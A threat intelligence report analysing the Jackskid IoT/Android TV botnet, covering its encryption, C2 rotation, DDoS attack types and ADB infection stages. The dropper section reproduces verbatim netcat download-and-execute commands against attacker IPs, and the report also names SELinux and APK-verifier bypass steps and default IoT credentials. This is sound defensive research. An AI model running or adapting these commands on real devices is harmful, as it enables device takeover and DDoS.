Nokia Deepfield Emergency Response Team (ERT) and Comcast Threat Research Lab (CTRL)

First published: 2026-03-24

Content warning: This report quotes malware artifacts verbatim, including domain names, C2 strings, and build paths chosen by the threat actors. Some contain crude or offensive language. These are reproduced exactly as found in samples to enable accurate detection and attribution.

Note: Since this research was completed, Jackskid and three related botnets have been disrupted by law enforcement. We delayed publication until that process concluded.

Most Mirai forks are disposable: a weekend project, a credential list, a few hundred bots, a stresser panel, and then silence when the C2 goes down. Jackskid was built not to be. Over five months of tracked development, from a bare-bones x86 prototype in November 2025 to a dual-vector Android/IoT platform with three encryption layers and biweekly C2 domain rotation, a single operator has invested in infrastructure designed to survive disruption: redundant C2 resolution, fast-flux DNS with 40–50 IP addresses per domain, and a rotation cadence that can outpace routine takedown timelines. The sophistication demands a proportional response.

This report traces that arc through three acts — and a coda, as the operator pivoted to blockchain-based C2 resolution within days of law enforcement disruption.

Jackskid was first publicly documented by Foresiet in November 2025 (Foresiet, "Mirai botnet Jackskid resurgence"). XLab QAX subsequently noted over 100K daily source IP addresses spreading samples (@Xlab_qax, December 2025). CNCERT/SecrSS independently documented the family under the name RCtea for its RC4+ChaCha20+TEA encryption stack (CNCERT/SecrSS, "RCtea botnet analysis"). Jackskid carries legacy attribution markers from the Persirai (2017) and Torii (2018) IoT botnet families, shares technical similarities and C2 infrastructure with Aisuru, and exhibits strong naming and architectural ties to the CatDDoS derivative ecosystem that emerged from a late-2023 source code leak.

We reverse-engineered 80+ samples across 13 build generations, decrypted configuration tables from 5 generations of binaries using the same DEADBEEF CAFEBABE E0A4CBD6 BADC0DE5 cipher key (every programmer's first hex constant, but nobody actually ships it to production — except this operator), and documented the full C2 domain migration path as the operator cycled from Russian TLDs to fast-flux .xyz infrastructure. Along the way, the operator accidentally shipped an unstripped debug build on port 8090, right next to the production payloads on port 443 of the same IP. That build revealed the project's internal name (softbot, a name that suggests the developer's --release flag remains aspirational), its anti-competition module (0clKiller), and its cross-compiler toolchain (aboriginal Linux). Shipping unstripped debug builds to production is a failure mode shared between botnet operators and the rest of the software industry; the difference is that this one exposed 300+ symbols to anyone who ran readelf.

• Dual infection vectors. Earlier builds propagated via telnet brute-forcing (140–200+ credential pairs, varying by build). Starting late January 2026, the operator added ADB exploitation of Android TV devices via a multi-stage chain: ADB shell → stager script → downloads ELF binary and APK persistence wrapper. This ADB-based delivery vector was first documented by Synthient in the context of the Kimwolf botnet. The two vectors feed the same botnet but ship different build configurations: telnet builds include the scanner, ADB builds do not.

• Unstripped debug build. An accidentally unstripped binary (e46cbe2a, February 19) reveals the internal project name softbot, the anti-competition module name 0clKiller (with killer_exe, killer_maps, killer_stat, killer_mirai_exists functions), and the build environment (aboriginal Linux cross-compiler). This 160 KB DDoS-only build contains 16 attack vector functions but no scanner or C2 registration, suggesting it was a test payload that made it to production — on the same server, one port over from the real thing.

• TCP fingerprints that match no real OS. The raw-socket SYN flood (attack ID 3) constructs packets with TCP options MSS-NOP-NOP-SACK-NOP-WS but no timestamps, a combination produced by no modern OS. The stomp attack (ID 5) sends 40-byte SYN packets with zero TCP options. Both are high-confidence network indicators. Address spoofing (via IP_HDRINCL raw sockets) is limited to IPv4 and used in attack IDs 3, 4, 10, and 12.

• Blocking C2 domains or dropper IP addresses reduces active DDoS traffic and prevents reinfection of compromised devices. The C2 domains and payload delivery infrastructure share IP address ranges (notably 203.188.174[.]x), so disruption of either function degrades both.

• 16–17 DDoS attack types in the latest builds (up from 6 in the earliest). Includes game-server-specific floods (Valve A2S_INFO, RakNet, Minecraft Java login, FiveM getinfo), GRE encapsulation to evade UDP filters, TCP handshake floods that bypass SYN cookies, and a new HTTP GET flood with a Mozilla/5.0 stub user-agent. The C2 port rotation pool expanded from 24 ports in early builds to 60 (Feb 10) and 84 (Mar 2026 variant).

• C2 config rotation verified across 5 build generations. Config decryption traces the primary C2 migration in the bot config: boatdealers[.]su (Nov–Jan) with backup domains including www.gokart[.]su, www.plane[.]cat, and www.sendtuna[.]com → www.ipmoyu[.]xyz (late Feb) → peer.ipmoyu[.]xyz (early Mar) → nodes.ipmoyu[.]xyz (mid Mar) → m3rnbvs5d.eth (post-disruption, ENS). Each rotation updated the primary config slot within ~2 weeks. DNS resolution from March 18 confirmed that previous subdomains and original domains remained active on the same fast-flux pool. Following the law enforcement disruption on March 19, multiple C2 domains went NXDOMAIN, and subsequent probing confirmed that the vast majority of previously active C2 endpoints no longer accept connections. The operator's fallback to ENS-based resolution (m3rnbvs5d.eth) provides some continuity but at a fraction of the prior capacity.

• DNS-over-HTTPS with HTTP/2 upgrade. The bot resolves C2 domains via DoH through Google and Cloudflare resolvers, hiding domain resolution from plaintext DNS monitoring. The March 2026 builds upgraded the DoH client from HTTP/1.1 to HTTP/2 with ALPN h2 negotiation and HPACK pseudo-headers, enabling connection multiplexing for more efficient resolver communication. The statically linked mbedTLS stack produces a distinctive TLS fingerprint.

• Post-disruption ENS pivot. Within days of the March 19 law enforcement action, the operator fell back to builds that resolve C2 via Ethereum Name Service (m3rnbvs5d.eth) — a much smaller footprint (5 IPs) than the pre-disruption fast-flux infrastructure (98+ IPs across 6 domains). Simultaneously, stripped-down lite builds appeared with hardcoded C2 IPs and no DNS dependency. The haste of the pivot is evident: the ENS record contains the string "kieran ellison" in plaintext metadata fields, matching the kieranellison substring in the C2 domain from Act 1. This could be the operator's real name, a pseudonym, or a deliberate plant naming a rival — the competitive doxing culture documented in Operator attribution makes the latter plausible.

• Active anti-competition. The stager scripts uninstall 6 rival botnet packages by name (Snow, Lorikazz, jewboot, telenetd, and others) plus older Jackskid variants as the operator rotates package names. The 0clKiller module scans /proc for competing statically-linked binaries and kills them via three methods (exe path, memory maps, stat analysis). A February 24 script added runtime /proc/<pid>/maps scanning to kill processes with (deleted) mappings. The progression from hardcoded kill lists to real-time process monitoring suggests the competition for device foothold is intense enough to drive its own arms race.

• Aisuru crossover. 23 of 28 samples from a March 2026 wave combine the Jackskid cipher key with the Aisuru XXTEA passphrase (PJbiNbbeasddDfsc) and share C2 IP address 185.196.41[.]180. This indicates either active infrastructure convergence between the two operations, or parallel builds from a privately shared codebase.

• CatDDoS derivative lineage. Multiple naming artifacts map directly to documented CatDDoS derivative operations that emerged from a late-2023 source code leak: the komaru stager (Komaru), the cecilioc2[.]xyz domain (Cecilio Network), and rebirth[.]st builds (RebirthLTD). The meow campaign tag aligns with CatDDoS naming conventions. This positions Jackskid within the broader CatDDoS derivative ecosystem.

• A consolidated IoC list is provided in Indicators of compromise.

For a summary, see the Executive summary above.

Classic Mirai-derivative propagation via telnet brute-forcing with 140–200+ credential pairs (varying by build) targeting IoT cameras, routers, and ONTs. The builds evolved from a bare-bones 18-attack x86 prototype with 4-byte XOR crypto to a production ARM binary with triple-layer encryption (custom RC4+LFSR for config, XXTEA for key exchange with the passphrase FrshPckBnnnSplit, and ChaCha20 for C2 traffic) and DNS-over-HTTPS C2 resolution via statically linked mbedTLS. Three independent algorithms, each serving a distinct purpose, which makes the DEADBEEF CAFEBABE key choice all the more conspicuous.

C2 infrastructure used 8 redundant domains on .su/.ru/.xyz TLDs with fast-flux DNS (50+ IP addresses per domain). The domain names suggest the operator registers domains the way most people name fantasy football teams: boatdealers[.]su, gokart[.]su, sendtuna[.]com, nineeleven.gokart[.]su. One domain, kieranellison.cecilioc2[.]xyz, will reappear in Act 2 as a campaign tag, linking the telnet and ADB operations.

The operator added a second infection vector: ADB exploitation of Android TV set-top boxes, first observed on January 23, 2026. This delivery method was first documented by Synthient in the context of the Kimwolf botnet, whose research showed how permissive residential proxy services enable attackers to scan internal networks for ADB-exposed devices. Honeypot captures from March 17–18 confirmed the delivery mechanism: ADB sessions routed via HTTP CONNECT through residential proxy services, with a successful 574 KB payload download and execution observed in the wild. The earliest capture (January 23) was a bare one-liner — download ELF, execute, block ports — and the toolchain matured over six iterations into a polished dropper chain with APK persistence wrappers disguised as Google system updates.

Nine different APK package names were cycled in four weeks, from com.example.bootsync to com.google.play, as each got flagged. The native library name also evolved: libarm7k.so → libgoogle.so → libandroid_runtime.so → back to libgoogle.so. The operator responds to detection by changing the label, not the technique.

The telnet scanner was stripped from ADB-delivered builds, with propagation fully externalized to the stager scripts. Campaign tags in the execution arguments (meow, kieran, richylam, dai, litecoin, gponfiber, uchttpd, pyramid, gonzo) suggest the operator tracks infections by source — a UTM parameter system for malware distribution. The kieran tag matches the string kieranellison in the C2 domain kieranellison.cecilioc2[.]xyz from Act 1. The meow tag likely references the CatDDoS naming convention — CatDDoS was named for its use of "cat" and "meow" in domain names and samples. The connection runs deeper: after the CatDDoS source code leaked in late 2023, XLab documented several derivative operations including Komaru, Cecilio Network, and RebirthLTD. All three names appear in Jackskid infrastructure: komaru is the ADB stager name, cecilioc2[.]xyz is a C2 domain, and rebirth[.]st appears in the March 2026 crossover builds. This places Jackskid squarely within the CatDDoS derivative ecosystem.

Then the operator shipped an unstripped debug build. Binary e46cbe2a (160 KB, port 8090, February 19) came out with full symbols: 300+ function names, the softbot project identifier, and the 0clKiller anti-competition module laid bare. It was a DDoS-only build with no scanner, no C2 registration, presumably a test payload the operator forgot to strip before deploying. It ran on the same IP (5.187.35[.]158) that was simultaneously serving production payloads on ports 443, 1337, and 8473.

Meanwhile, the anti-competition escalated. The stager scripts uninstall 6 rival botnet packages by name — Snow (com.android.docks), Lorikazz (com.oreo.mcflurry), jewboot, telenetd, boothandler, clockface — plus older Jackskid variants (com.google.android.pms.update, com.google.android.sys.update) as the operator rotates its own package names between builds. The choice of com.oreo.mcflurry as a persistent malware package name suggests the Lorikazz operator and the Jackskid operator have comparably robust naming conventions. The binary's 0clKiller module independently scans /proc for competing ELF binaries and kills them via three methods, backed by a NETLINK process monitor that detects and kills new competitors within milliseconds of spawning.

The operator's config migrated away from boatdealers[.]su as the primary C2 domain. The embedded config tag, here we are again part 2, and the shift to a new TLD suggest the operator was rotating infrastructure. The new primary C2 domain ipmoyu[.]xyz cycled through three subdomains in four weeks: www → peer → nodes. The domain name is notable: ipmoyu.com is a documented BADBOX 2.0 IoC associated with the MoYu Group, an operation targeting Android TV devices at scale. Whether ipmoyu[.]xyz is a deliberate reference, shared infrastructure, or coincidence, the timing aligns with Jackskid's own pivot to Android TV exploitation. DNS resolution data from March 18 showed the rotation was additive rather than destructive: all three ipmoyu subdomains remained active (www: 14 IP addresses, peer: 40, nodes: 50), and the original domains (boatdealers[.]su, gokart[.]su, sendtuna[.]com, plane[.]cat) continued to resolve on the same fast-flux pool. Two previously undocumented domains also appeared: jacob-butler[.]gay and richylam[.]org (the latter matching the richylam campaign tag). Following the law enforcement disruption on March 19, multiple C2 domains went NXDOMAIN, remaining fast-flux pools contracted sharply, and subsequent probing confirmed that the vast majority of resolved endpoints no longer responded to Jackskid's C2 protocol (see C2 infrastructure status).

28 crossover builds combined the Jackskid cipher key with the Aisuru XXTEA passphrase (PJbiNbbeasddDfsc) and shared C2 IP address 185.196.41[.]180. This may represent active infrastructure convergence, though the possibility of a private source code leak producing parallel builds from a shared codebase cannot be excluded.

The latest builds added an HTTP GET flood with a User-Agent: Mozilla/5.0 stub (the complete user-agent string — no browser, no platform, no engine — less an identity and more a vague gesture at the concept of a web browser), bringing the attack type count to 16–17. The DoH client was upgraded from HTTP/1.1 to HTTP/2, adding connection multiplexing for more efficient resolver communication. And the sandbox fingerprint library names rotated from jiwixlib.so to jilcore.6.so, fake libraries that exist only to detect analysis environments, updated across builds as if they were real dependencies.

The disruption forced a rapid pivot. Within days, a new build tier — ENS C2 — appeared on March 23 from 176.65.139[.]72 (pfcloud.io, AS51396). These builds resolve their C2 address via Ethereum Name Service, reading a text record from m3rnbvs5d.eth with key k1er4n and decoding the result through an IPv6→IPv4 XOR 0xA5 transformation. This mirrors the Kimwolf botnet's EtherHiding approach and avoids the DNS-based takedown that collapsed the prior infrastructure. The ENS record's msg and location fields contain the string "kieran ellison," matching the kieranellison.cecilioc2[.]xyz domain from Act 1. Whether self-identifying, using a pseudonym, or naming a rival, the string's presence in an immutable blockchain record is a departure from the DNS-era infrastructure. Five C2 IPs in the 194.87.198[.]x and 194.58.38[.]x ranges were confirmed live — a fraction of the 98-IP fast-flux pool that preceded the disruption. Separately, lite scanner builds appeared on the same day with hardcoded C2 at 185.196.41[.]180 (no DNS dependency), a 24-port pool, cron-based kworker persistence, and a botd_single_lock local coordination socket on port 34942. These stripped-down binaries (164–272 KB, no TLS) trade sophistication for survivability.

The ENS builds also introduced a new competition kill list — jilcore.6.so, jipplib.1.so, jibdata.2.so, jiblib.5.so — targeting unknown rival families, and shipped as com.google.android.play APK wrappers. The k1er4n text record key is a leetspeak rendering of "kieran," and the ENS domain's owner address (0x699a...0001) provides a blockchain attribution anchor.

The string npxXoudifFeEgGaACScs (a printf format specifier string) at .rodata offset 0x8f998 is a well-documented IoC linking to:

• Persirai (2017): IP camera botnet
• Torii (2018): Sophisticated IoT botnet known for custom encryption
• Condi (2023) and Ballista (2025): More recent variants

Its presence in all Jackskid builds confirms the family inherits or reuses code from this lineage.

SecrSS assessed that Jackskid and Aisuru "may have operational correlation, inheritance, or share the same technical source." The technical parallels go beyond superficial similarities:

• Both families use the same triple encryption approach: custom RC4, ChaCha20, and TEA variants for protecting configuration and communications.
• Both divide the C2 authentication process into multiple rounds across many packets, complicating traffic analysis.
• Both configure multiple groups of redundant C2 addresses with failover.

However, SecrSS also notes that Jackskid is "a newly constructed family" that does not show "large-scale reuse of known botnet module structures" from Aisuru. The relationship appears to reflect shared development philosophy or technical lineage rather than direct code reuse.

The March 2026 wave strengthens this assessment: 23 of the 28 new samples are Aisuru–Jackskid crossover builds. They combine the Jackskid cipher key (DEADBEEF CAFEBABE E0A4CBD6 BADC0DE5) with the XXTEA passphrase PJbiNbbeasddDfsc (previously exclusive to Aisuru) and share C2 IP address 185.196.41[.]180 with Aisuru sample 7500925a. This could indicate active convergence between the two operations, or it may reflect parallel builds from a privately shared or leaked codebase. The shared C2 infrastructure, however, points toward operational coordination rather than independent reuse.

Multiple naming artifacts in Jackskid infrastructure map directly to documented CatDDoS derivative operations. After the CatDDoS source code leaked in late 2023, XLab documented several derivative operations that emerged from the leak. Three of those names appear in Jackskid:

Additionally:

• The meow campaign tag aligns with CatDDoS naming conventions (the family was named for its use of "cat" and "meow" in domains and samples).
• The CatDDoS variant v-snow_slide uses XXTEA encryption, matching Jackskid's key exchange layer. The # snow comment in Jackskid's ADB stager scripts identifies a competing operator whose package name (com.android.docks) is actively removed.
• CatDDoS derivatives share ChaCha20 for C2 traffic encryption, the same algorithm Jackskid uses for its Layer 3 encryption.

This convergence of naming, infrastructure, and cryptographic choices positions Jackskid within the broader CatDDoS derivative ecosystem that emerged from the late-2023 source code leak. The family's "newly constructed" architecture (per SecrSS) may reflect a ground-up reimplementation using CatDDoS design patterns rather than direct code forking.

A satirical blog styled after Krebs on Security ("Kirkon Security") published a writeup targeting the operator behind www.boatdealers[.]su, the same primary C2 domain used by Jackskid ("Kirkon Security" (satirical), "Sorrow: from botless to less botless". The site's name and styling parody Krebs on Security and appear to originate from a rival botnet operation). The article attributes the botnet to an individual operating under the handle Sorrow, claims approximately 300,000 compromised residential devices (primarily Android/ADB), and highlights an OpSec failure where the download server was co-located with the botnet management panel. The dox-by-blog format represents either an emerging trend in competitive intelligence or a very specific grudge.

The site's likely provenance (the Kimwolf ecosystem, which shares infrastructure with Jackskid) means the claims should be treated as adversarial intelligence: potentially accurate on technical details the rival would know firsthand, but motivated by competitive interests rather than public safety.

Jackskid and Kimwolf share distribution infrastructure (port 1337, dropper IP addresses), target platforms (ARM IoT, Android TV), and concurrent activity timelines (Dec 2025 – Feb 2026). Earlier Jackskid builds propagated via telnet brute-forcing, while Kimwolf targeted exposed ADB services. Both shared distribution infrastructure but are distinct codebases. The c654028d build (March 2026) narrows this gap further: Jackskid has targeted ADB-exposed Android TV devices since late January 2026, though through a different toolchain (komaru stager + APK wrapper vs. Kimwolf's native binary delivery).

Jackskid vs. Kimwolf — distinct codebases

The post-disruption ENS builds narrow the gap on C2 resolution — both families now use Ethereum Name Service, though through independent implementations (both encode C2 addresses as obfuscated IPv6 in ENS text records, but use different deobfuscation schemes — Kimwolf applies a subtract-then-XOR with a 32-bit key, Jackskid uses a single-byte XOR 0xA5). However, the crypto gap has widened: Jackskid's v2 handshake (Curve25519 ECDH → XXTEA with derived key → ChaCha20 session encryption) is now more elaborate than Kimwolf's standard TLS, and the XXTEA key is no longer a shared secret but derived per session via ephemeral key agreement. The families remain distinct codebases that happen to share an ADB delivery vector and some infrastructure.

The Jackskid family was first publicly documented by Foresiet in November 2025 (Mirai botnet Jackskid resurgence), who identified the family name and initial IoCs. XLab QAX reported over 100K daily source IP addresses spreading samples in December 2025 (post) and separately documented the CatDDoS derivative ecosystem whose naming conventions appear throughout Jackskid infrastructure. CNCERT/SecrSS independently documented the family under the alias "RCtea" (RCtea botnet analysis), identifying the RC4+ChaCha20+TEA encryption stack and assessing the family's technical relationship to Aisuru. Synthient documented the ADB exploitation delivery vector used by Jackskid and other botnet families (A Broken System: Fueling Botnets), showing how permissive residential proxy services enable mass exploitation of ADB-exposed Android TV devices.

The Ghidra-based reverse engineering, config decryption, DDoS handler verification, evolution timeline, C2 infrastructure analysis, and JA4T/JA3 fingerprinting presented in this report are original work by the Nokia Deepfield Emergency Response Team and Comcast Threat Research Lab.

Jackskid's defining feature is its triple-layer encryption stack. Each layer serves a distinct purpose.

Embedded strings (C2 domains, ports, dropper commands, firewall rules) are encrypted with a custom RC4 variant. The algorithm deviates from standard RC4 in three ways:

• 3-index PRGA: Uses indices i, j, and k instead of the standard 2-index (i, j).
• LFSR feedback: A 32-bit linear feedback shift register with polynomial 0xD800A4 is XORed into the keystream after each PRGA step.
• Output transformation: Each keystream byte is transformed via (ks >> 5 | ks << 3) ^ (ks >> 4) before XOR with ciphertext.

S-box initialization uses a two-pass KSA: a standard RC4 KSA followed by a 5-round linear congruential generator (LCG) mixing pass with seed 0xE0A4CBD6 and constants * 0x41C64E6D + 0x3039.

The key is 16 bytes, stored in .rodata as four LE uint32 words:

DEADBEEF  CAFEBABE  E0A4CBD6  BADC0DE5

The config table size varies by build. The 38e49e9f build contains 58 slots (IDs 0x01–0x3a), including 10 C2 domains, a 60-port pool, firewall rules, dropper commands, credential lists, STUN servers, and anti-analysis strings. The c654028d variant has a streamlined 28-slot config: a single C2 domain (nodes.ipmoyu[.]xyz), an 84-port pool, and operational strings, but no firewall rules, no dropper script, and no credential list.

The bot negotiates per-session ChaCha20 keys using XXTEA encryption with the shared passphrase FrshPckBnnnSplit (parse at your own risk). XXTEA is identified in the binary by the TEA constant 0x9E3779B9 (golden ratio).

Session establishment:

1. Bot generates a random 32-byte ChaCha20 key and 12-byte nonce from /dev/urandom.
2. Key material is XXTEA-encrypted with FrshPckBnnnSplit.
3. An HMAC-SHA256 session hash is derived for integrity.
4. Encrypted key material and bot metadata are sent to the C2 over TLS.
5. All subsequent traffic uses ChaCha20 with the negotiated key.

The FrshPckBnnnSplit passphrase is a shared secret. An attacker who knows it can intercept the key exchange.

The post-disruption ENS builds (516c532a, March 23) replace this static passphrase with Curve25519 ECDH key agreement: the bot generates an ephemeral keypair, exchanges public keys with the C2, and derives a per-session shared secret. The first 16 bytes of the shared secret become the XXTEA key for wrapping the ChaCha20 session material. This eliminates the FrshPckBnnnSplit single point of compromise and provides forward secrecy — a session key captured in transit cannot be decrypted retroactively without the ephemeral private key.

All C2 command and response traffic is encrypted with ChaCha20 (RFC 8439). The implementation is standalone (not via mbedTLS), identified by the expand 32-byte k constant in .text.

The C2 handshake uses a 0xCAFEBABE magic value for protocol validation, with a secondary XOR check against 0xCAFE06A9.

Jackskid resolves C2 domains via DNS over HTTPS, which bypasses on-path plaintext DNS monitoring and UDP-53-based filtering. The queries are still observable via endpoint agents, TLS/SNI inspection, or resolver-side logging. The bot constructs HTTP GET requests to public DoH resolvers:

GET /dns-query?dns=<base64url-encoded query> HTTP/1.1
Host: <resolver>
Accept: application/dns-message
User-Agent: DoH-Client/1.0
Connection: keep-alive

Hardcoded resolvers (with fallback):

Hardcoded DoH resolvers

The bot alternates between two provider configurations and retries up to 3 times on failure.

Both the 7d892083 (Jan 22) and 38e49e9f (Feb 10) builds contain the same 10 C2 domains in their encrypted configs, decrypted using the custom RC4 variant:

Decrypted C2 domains from 7d892083 / 38e49e9f configs

These domains match those reported by SecrSS (gokart[.]su, boatdealers[.]su, cecilioc2[.]xyz), confirming this is the same family.

The c654028d variant (March 2026) uses a single C2 domain:

nodes.ipmoyu[.]xyz

This represents a departure from the multi-domain redundancy in earlier builds. The .xyz TLD is consistent with cecilioc2[.]xyz from the 38e49e9f pool. The 84-port rotation pool includes all 60 ports from 38e49e9f plus 24 new additions.

Config decryption across 5 generations of builds spanning January–March 2026 reveals the primary C2 migration path:

The operator rotates the primary C2 subdomain in the config approximately every two weeks. While the bot config migrated from boatdealers[.]su to ipmoyu[.]xyz and dropped backup domain entries, DNS resolution from March 18 showed the original domains remained active and shared the same fast-flux IP pool as the ipmoyu subdomains. Following the law enforcement disruption on March 19, boatdealers[.]su, gokart[.]su, and richylam[.]org went NXDOMAIN. The remaining ipmoyu subdomains still resolve to large IP pools but only a single C2 IP address actively accepts connections.

STUN server configuration also expanded: from stun.l.google.com alone (Jan) to three servers (stun.l.google.com:19302, stun.voys.nl:3478, stun.sip.us:3478) in Feb+.

The www.ipmoyu[.]xyz domain resolves to IP addresses in the 203.188.174[.]x range, the same range used for payload delivery (203.188.174[.]195, .236–.242). This overlap between C2 resolution and delivery infrastructure provides an operational linkage for tracking.

The 28 samples from March 10–13, 2026 introduce two new C2 endpoints:

New C2 endpoints from March 2026 wave

The crossover builds use the XXTEA passphrase PJbiNbbeasddDfsc (replacing FrshPckBnnnSplit from pure Jackskid builds). This key was previously seen only in the 214d25ce debug build's XOR auth key and in Aisuru samples.

The full+scanner builds add anti-VM detection (hypervisor, vfio, virtio, virtblk), systemd persistence via dbus-kworker.service, and an IoT credential table with ISP-specific defaults (Pon521, Zte521, root621, telecomadmin, admintelecom, alitvadmin, adminEp...).

Following the law enforcement disruption on March 19, the Jackskid C2 infrastructure has been significantly degraded. Multiple primary C2 domains have gone NXDOMAIN, the fast-flux pools behind surviving domains have largely stopped accepting C2 connections, and the majority of previously active C2 endpoints no longer respond. Delivery infrastructure is similarly degraded, with dropper servers either fully offline or listening but no longer serving payloads. The operator's fallback to a small ENS-based C2 channel provides some continuity but at a fraction of the capacity and redundancy the botnet previously enjoyed.

The bot randomly selects from a configurable pool of destination ports. The pool size evolved across builds: 24 ports in early builds (Nov 2025–Jan 2026), 60 ports in the Feb 10 38e49e9f build (config slot 12), 21 ports in mid-March builds, and 84 ports in the c654028d variant. The 60-port pool from 38e49e9f:

2345  2871  3194  3650  4128  4599  5032  5476  6120  6584
7021  7489  8015  8560  9027  9488 10034 10579 11112 11648
12103 12755 13290 13844 14301 14986 15420 16075 16618 17142
17690 18233 18805 19344 19987 20761 21408 22195 22934 23670
24411 25198 25903 26647 27489 28310 29176 30054 30988 31840
32795 33721 34680 35614 36602 37745 38901 40127 43862 49215

The wide spread across the ephemeral range makes port-based filtering impractical.

1. Decrypt C2 domain from config slot 0x05 (primary) or 0x06 (fallback).
2. Resolve via DoH with up to 3 retries and provider failover.
3. Create TCP STREAM socket with keepalive (idle=30s, interval=10s, probes=3).
4. Set non-blocking (O_NONBLOCK).
5. Connect to resolved IP address on a randomly selected port from the port pool (24–84 ports, varying by build).
6. Perform XXTEA+ChaCha20 key exchange.
7. Enter main loop: receive 2-byte length prefix, decrypt payload, dispatch command.

A set of full+scanner builds from March 2026 (1a7a29b5, 8f79486e, 96acd74a, a9fb49c5) take the C2 domain from argv[1] rather than the encrypted config. The binary copies argv[1] into a 32-byte buffer and resolves it at connection time. If no argument is provided, the bot exits. These builds contain no embedded C2 domain — config slots 0–2 are unused and the domain is supplied entirely by the dropper infrastructure.

This design decouples the C2 domain from the binary, making static config extraction insufficient for C2 discovery. The dropper can point the same binary at different C2 domains without recompilation. These builds use a handshake magic of 0x1CEB00DA (continuing the operator's commitment to readable hex constants) and connect via a local UNIX-domain socket (botd_single_lock) for single-instance enforcement. The encrypted config retains the same 24-port pool from early builds (2663–59493) plus a 15-port secondary pool (16283–40319).

The 214d25ce debug build contains the C2 IP address in cleartext at .rodata offset 0x25300:

158.94.210[.]88

This IP address was not present in the encrypted configs of the other builds. The debug build also exposes the XOR authentication key PJbiNbbeasddDfsc and internal function names.

The bot's attack capabilities expanded steadily across builds. The dispatch table maps attack type IDs to handler function pointers.

DDoS capability evolution

Complete attack dispatch table. Bold rows are new in 38e49e9f.

Several handler names inherited from the Mirai naming convention do not match the actual protocol on the wire. Three of fourteen handler names identify the wrong protocol. The function signatures were presumably trustworthy at some point in the fork history. The true protocol was determined by examining the payload templates copied from .rodata into attack packets:

Handler names vs. actual protocols (verified from Ghidra decompilation)

The bot specifically targets gaming infrastructure:

Game server attack vectors

The Minecraft login flood (ID 9) generates usernames using three wordlists with leet-speak substitutions (o→0, e→3, a→4, s→5, b→6, t→7, g→9). Example usernames: xXSl4y3rPr0, DarkN1nj4TTV, Cy63rK1ll3r1337. These would not have been out of place on Xbox Live circa 2007.

Anti-mitigation techniques by attack type

The TCP handshake flood (ID 11) is notable for its evasion approach: it completes a real 3-way handshake via a STREAM socket, then sends PSH+ACK data floods via a separate RAW socket using the captured sequence numbers. Because the attack uses legitimate established connections, it is not mitigated by SYN cookies and may evade some stateful inspection devices that track only connection setup.

The GRE flood (ID 12) constructs dual IP headers with a GRE tunnel header between them. The inner header carries UDP. An invariant links the IP ID fields: inner_id = ~(outer_id - 1000).

All attack handlers parse parameters from C2 commands via a common function (FUN_0000b7f0 in 7d892083, FUN_0000c710 in 38e49e9f). This allows the C2 operator to customize every aspect of attack traffic at runtime.

Configurable attack parameters

The dropper command (from 7d892083, campaign rhombus):

cd /data/local/tmp; \
(toybox nc 5.187.35.158 1337 || busybox nc 5.187.35.158 1337 || \
nc 5.187.35.158 1337) > daemon; \
chmod 777 daemon; ./daemon rhombus; \
iptables -I INPUT 1 -i lo -p tcp -m multiport \
  --dports 5555,3222,12108 -j REJECT

A second dropper was found in the 38e49e9f config (slot 49):

cd /data/local/tmp; su root; rm -rf instd; \
(toybox nc 130.12.180.126 1223 || busybox nc 130.12.180.126 1223) > instd; \
chmod 777 instd; ./instd

Both target Android devices (/data/local/tmp, su root) and download via netcat with fallback chains for compatibility.

ADB exploitation was first observed on January 23 via a bare ADB shell command delivering the daemon binary from 5.187.35[.]158:1337. Captured samples spanning the infection timeline trace the chain from this initial one-liner through six development iterations to its current polished form. The ADB exploitation vector, first documented by Synthient in the context of the Kimwolf botnet, leverages permissive residential proxy services to scan internal networks for ADB-exposed devices. All stagers target /data/local/tmp on Android devices and download payloads via toybox nc / busybox nc / busybox1 nc fallback chains.

Phase 1 — bare delivery (Jan 23). A single ADB shell command downloads and executes the ELF binary directly, with no stager script, no APK wrapping, and no persistence. The pyramid campaign tag and binary name daemon are already present. The command includes inline iptables rules blocking ports 5555, 3222, and 12108 — port-based anti-competition from the first observed session. Proxy routing via localtest.me.

Phase 2 — scripted prototype (Feb 17). Multi-step stager scripts from 192.206.117[.]19 and 160.22.79[.]29 introduce APK-based persistence: SELinux bypass (echo 0 > /sys/fs/selinux/enforce), /system partition remounting to modify build.prop, and cross-IP downloads (one script pulls from both IP addresses). APK package name: com.example.bootsync with libarm7k.so. Permissions explicitly granted via pm grant.

Phase 3 — stabilized (Feb 19–22). Scripts from 5.187.35[.]158 and 5.187.35[.]166 dropped SELinux hacks, standardized on libgoogle.so, added APK verification bypass (settings put global verifier_verify_adb_installs 0 and package_verifier_enable 0), battery optimization whitelist (dumpsys deviceidle whitelist), and multi-method app start fallback chains. Package names: com.google.android.gms.update, com.google.android.pms.update. Added anti-competition: removes Snow (com.android.docks), Lorikazz (com.oreo.mcflurry), and two others.

Phase 4 — hardened (Feb 24). Added /proc/<pid>/maps scanner to kill processes with (deleted) memory mappings, a runtime anti-competition technique mirroring the killer_maps function in the ELF binary.

Phase 5 — expanded infrastructure (Feb 27 – Mar 9). Deployed across 203.188.174[.]195 (first seen Feb 27) and .236–.242 (7 additional IP addresses in the same /24 from Mar 2). Package names expanded: com.google.android.adm.update, com.google.android.env.update, com.google.play. First script with a guard clause (if pm list packages | grep -q "com.google.play"; then exit).

Phase 6 — consolidation (Mar 11+). The komaru and komugi stagers (previously documented) plus new scripts from 206.81.9[.]186 remove additional rivals (com.telenetd.telenet, com.example.jewboot) and older Jackskid variants (com.google.android.update). The com.google.alarm APK wrapper adds five persistence mechanisms (boot receiver, JobScheduler, AlarmManager, CONNECTIVITY_CHANGE, PARTIAL_WAKE_LOCK). Changes ADB port to 22337 and wipes /data/local/tmp/.

APK package name progression:

The progression from com.example.* (Android Studio's default new-project prefix) to com.google.* shows deliberate evolution toward more convincing system-app impersonation. The arm64-v8a architecture was added in the February 22 build.

Campaign tags. Each stager executes the ELF binary with a campaign-identifying argument: meow, kieran, richylam, dai, litecoin, massload, gponfiber, uchttpd, pyramid, gonzo. The kieran string also appears in kieranellison.cecilioc2[.]xyz, a C2 domain from the original config, suggesting a common operator or naming convention across the telnet and ADB campaigns. gponfiber and uchttpd suggest targeting of specific device types.

A parallel ADB vector distributes com.system.update from 87.121.84[.]74:13121 — a different malware family (Katana, a Mirai variant with on-device rootkit compilation) that shares infrastructure but not code with Jackskid. The Jackskid stagers explicitly remove this competitor.

Honeypot captures from March 17–18 corroborate the ADB infection chain and reveal additional operational details not visible in static analysis alone.

